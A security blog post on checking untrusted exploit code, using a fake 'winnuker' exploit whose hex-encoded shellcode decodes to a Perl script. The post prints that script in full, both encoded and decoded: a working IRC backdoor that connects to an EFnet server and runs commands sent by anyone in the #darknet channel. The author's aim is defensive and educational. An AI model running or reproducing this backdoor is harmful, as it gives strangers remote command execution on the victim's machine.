Quick and dirty exploit vetting

| | Comments (1)
Got some exploit code that you didn't write? You had better check it first. Especially as I've seen a few people link to fake exploits lately. One example is the supposed winnuker from http://www.hackerthreads.org/Topic-5973. Which sports the following payload:


h3llc0de=
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63"
"\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69"
"\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72"
"\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e"
"\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65"
"\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f"
"\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49"
"\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e"
"\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22"
"\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63"
"\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d"
"\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43"
"\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68"
"\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20"
"\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64"
"\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65"
"\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d"
"\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d"
"\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20"
"\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c"
"\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22"
"\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53"
"\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20"
"\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66"
"\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20"
"\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20"
"\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f"
"\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63"
"\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68"
"\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f"
"\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e"
"\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e"
"\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28"
"\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24"
"\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d"
"\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24"
"\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24"
"\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22"
"\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22"
"\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c"
"\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d"
"\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64"
"\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"; 
Never run an exploit if you didn't write it or don't understand the shellcode. I cannot stress that enough. Anyway, the exploit code has a bad smell to it, so I do a lazy check of the shell code:
~$ echo -e "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
#!/usr/bin/perl
$chan="#darknet";$nick="moron";$server="efnet.vuurwerk.nl";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER moron +i moron :moronv2\nNICK moron\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi
If you work with hex or shellcode regularly you might have already worked out that the shellcode was in fact text (the large number of \x20 is a pretty dead giveaway). As you can see a quick check of the shellcode reveals that this is in fact a fake exploit that offers a remote shell to the entire efnet #darknet channel. If the shellcode is binary then you'll need to do some more analysis, but for most fake exploits the above technique usually reveals them.

1 Comments

understand an exploit is difficult, therefore being a script kiddie is a dangerous job

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